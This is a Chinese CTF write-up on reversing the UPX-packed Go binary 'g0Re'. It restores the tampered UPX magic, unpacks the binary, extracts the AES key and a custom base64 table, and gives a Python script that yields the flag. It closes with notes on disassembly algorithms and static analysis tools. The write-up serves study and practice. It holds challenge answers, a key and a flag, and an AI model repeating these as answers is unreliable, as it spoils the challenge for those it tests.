g0Re: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

readelf -hlS --w g0Re

报告如下错误:

1
2
3
4
5
6
readelf: Warning: Section 49 has an out of range sh_link value of 2302008908
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] <no-strings> 00010102: <unknown> 00000001003e0002 481cb0 000040 400003 0 0 15762873573703680
readelf: Warning: [ 1]: Link field (533963) should index a symtab section.
readelf: Warning: [ 3]: Unexpected value (1482181455) in info field.

strings找到一些特征字符串

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/idawork]
└─$ strings -a -tx g0Re|grep -E '\s{4,30}'
ec OKXX$
13e FN{o
1e6 r mL
284 dRe6eYPgXygMd
295 fSCPpMP/C9DU36D2kliiYS5D9wKG/E_p
2b9 XkJb3WwcGMbUPd63r/bG8gVDS6EsZ5vv
81e18 $Info: This file is packed with the
81e67 $Id:

猜测是UPX加壳,但是UPX标志被抹去了。

UPX! 标志被抹除

unpack时会依次在三个地方检查UPX_MAGIC_LE32(即”UPX!”):

1
2
3
1、在倒数第36字节偏移处检查,如果特征值不符就会转入throwNotPacked()异常抛出函数,打印not packed by UPX;
2、".ELF"魔数前36字节处,如果这里的特征值不符就会转入throwCantUnpack()异常抛出函数,打印l_info corrupted;
3、 在倒数第46字节偏移处检查,如果特征值不符就会转入throwCompressedDataViolation()异常抛出函数,打印Exception: compressed data violation;

1690711701628

结合上面的规则2,可以很清晰地判断出出题人用0KXX代替了UPX!

1690712364661

在对应的三个位置处换上UPX!魔数。

1690713002432

1690712555711

upx脱壳。

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/idawork]
└─$ upx -d g0Re_upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020

File size Ratio Format Name
-------------------- ------ ----------- -----------
1331200 <- 534092 40.12% linux/amd64 g0Re_upx

Unpacked 1 file.

输入flag后的处理流程

1
_int64 __usercall sub_48CD80@<rax>(__int64 i%16@<rdi>, __int64 key[i%16]@<rsi>, __int64 a3@<r14>, __int128 a4@<xmm15>)

1.aes 2.base64 3.简单运算

1690723199822

1690723104727

aes加密 密钥获取

1
动态调试获取密钥:wvgitbygwbk2b46d

启动ida服务端。

1
2
3
4
5
6
#端口,密码,详细模式
#若希望同时维护几个调试实例,就要在不同端口启动调试服务器。
./linux_server64 -p23946 -p23946 -v
IDA Linux 64-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...

1690716983450

Hex窗口与RSI同步。

1690718805904

base64换表加密

1
2
strings -tx g0Re_upx|grep -E '[A-Z]{10,64}' 
12c040 456789}#IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123ABCDEFGH

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#-*-encoding:utf-8
import base64
import string
string1 = "456789}#IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123ABCDEFGH"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#ascii字符范围
def filter_printable_chars(flag):
filtered_flag = ''
for byte in flag:
if byte in string1:
filtered_flag+=byte
#else:
#print("ERROR")
#break
return filtered_flag

enc=[ 0xE6, 0xCE, 0x89, 0xC8, 0xCF, 0xC5, 0xF5, 0xC9, 0xD2, 0xD9, 0xC0, 0x91, 0xCE, 0x7F, 0xAC, 0xCC, 0xE9, 0xCF, 0xB7, 0xC0, 0x96, 0xD4, 0xEA, 0x92, 0xE2, 0xD7, 0xDF, 0x84, 0xCB, 0xA5, 0xAE, 0x93, 0xA6, 0xCA, 0xBE, 0x97, 0xDF, 0xCE, 0xF0, 0xC9, 0xB7, 0xE1, 0xAE, 0x6B, 0xC4, 0xB1, 0x65, 0xDB, 0xCE, 0xED, 0x92, 0x93, 0xD6, 0x8C, 0xED, 0xC3, 0xA3, 0xDA, 0x94, 0xA5, 0xAA, 0xB2, 0xB5, 0xA7, 0x55]
key=b"wvgitbygwbk2b46d"
base = ""
for i in range(len(enc)):
base+=chr(((enc[i]-key[i%16])^0x1a) &0xff)
print(base)#uB8EAyfxAmOEvQlrhCJM8hk1qonHskb55NM4qvmxZeY#xg5mMm10x0nF6b3iRdeYÄ

#过滤base64编码表里的字符
str1=filter_printable_chars(base)
result=base64.b64decode(str1.translate(str.maketrans(string1,string2)))

#AES解密
from Crypto.Cipher import AES#
aes = AES.new(key,mode=AES.MODE_ECB)
print(aes.decrypt(result)) #b'flag{g0_1s_th3_b3st_1anguage_1n_the_wOrld!_xxx}\x01'

反汇编算法

  • 1.线性扫描反汇编 关键是确定代码起始位置,之后线性扫描整个代码段,并逐条反汇编每条指令。不会识别分支来解释控制流。
    • 优点:覆盖程序的所有代码段;
    • 缺点:假设代码段中全是代码,没法处理代码段中混入的数据。
  • 2.递归下降反汇编。根据指令间的引用关系决定是否反汇编,在一个代码块内部,还是使用线性扫描算法。
    • 优点:大部分情况下可以区分代码和数据。
    • 缺点:无法处理间接代码路径。

IDA pro是递归下降反汇编器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//add、xor、mov、栈操作push
case 顺序流指令:
线性扫描反汇编
//jnz、ja
case 条件分支指令:
反汇编两个路径,直接反汇编下一条指令对应的分支,将跳转目标指令的地址加入延迟反汇编地址列表。
//jmp
case 无条件分支指令:
确定跳转目标,反汇编目的地址;对于无条件分支后的字节不作处理。

//call
case 函数调用指令:
运行方式类似于无条件跳转,但是其后的返回地址会被直接反汇编,将跳转目标指令的地址加入延迟反汇编地址列表。
//ret,
case 返回指令:
获取接下来将要执行的指令信息;有时需要从栈顶获取,而静态反汇编器不具备访问栈的能力。此时反汇编器会开始处理延迟反汇编地址列表。

反汇编出问题的情形

1.对于无条件分支指令,例如jmp eax这样的运行时才能确定跳转地址的指令,需要人工赋值。

2.call指令,在函数内部篡改了函数返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
foo proc near
inc dword ptr[esp];
retn
endp
//错误的反汇编
E8 F7 FF FF FF call foo
05 89 45 F8 90 add eax,90F84589h

//正确的反汇编
E8 F7 FF FF FF call foo
05 db 5
89 45 F8 mov [ebp-8],eax
90 nop

3.ret没有提供返回地址。

1690714484074

IDA遇到的函数返回语句,检测到其栈指针值不为0。

反汇编的困难

1.编译,和自然语言的翻译一样是一个多对多操作。除了C编译器,还有Go、Python、Delphi编译器、WinAPI库,反编译器非常依赖语言和库。

2.编译过程中会丢失命名和类型信息。反汇编后最多知道变量的位数,类型信息需要通过变量的用途确定。

一些静态工具用法

  • Linux:ldd; nm展示符号,C++filter、展示重定义。

  • OSX:otool; 处理MACH-O。

  • Windows:VS里的dumpbin /dependents ;objdump

ldd显示依赖库

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/idawork]
└─$ ldd linux_server64
linux-vdso.so.1 (0x00007fff323bf000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbfef767000)
libthread_db.so.1 => /lib/x86_64-linux-gnu/libthread_db.so.1 (0x00007fbfef75c000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007fbfef751000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbfef730000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fbfef515000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fbfef3d2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfef1f6000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbfef782000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fbfef1d6000)

dumpbin /dependents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dump of file baby.exe

File Type: EXECUTABLE IMAGE

Image has the following dependencies:

KERNEL32.dll
msvcrt.dll
msvcrt.dll

Summary

1000 .CRT C runtime Lib
1000 .bss
1000 .data
1000 .debug_abbrev
1000 .debug_aranges
1000 .debug_frame
2000 .debug_info
1000 .debug_line
1000 .eh_frame
1000 .idata
1000 .rdata
3000 .text
1000 .tls

strings

-t 显示字符的文件偏移

-a 使得strings扫描整个文件,而非只有文件中可加载的、经初始化的部分

-e 搜素其他字符编码,如Unicode

几乎不会用到的工具:x86流式反汇编器,ndisasm和diStorm。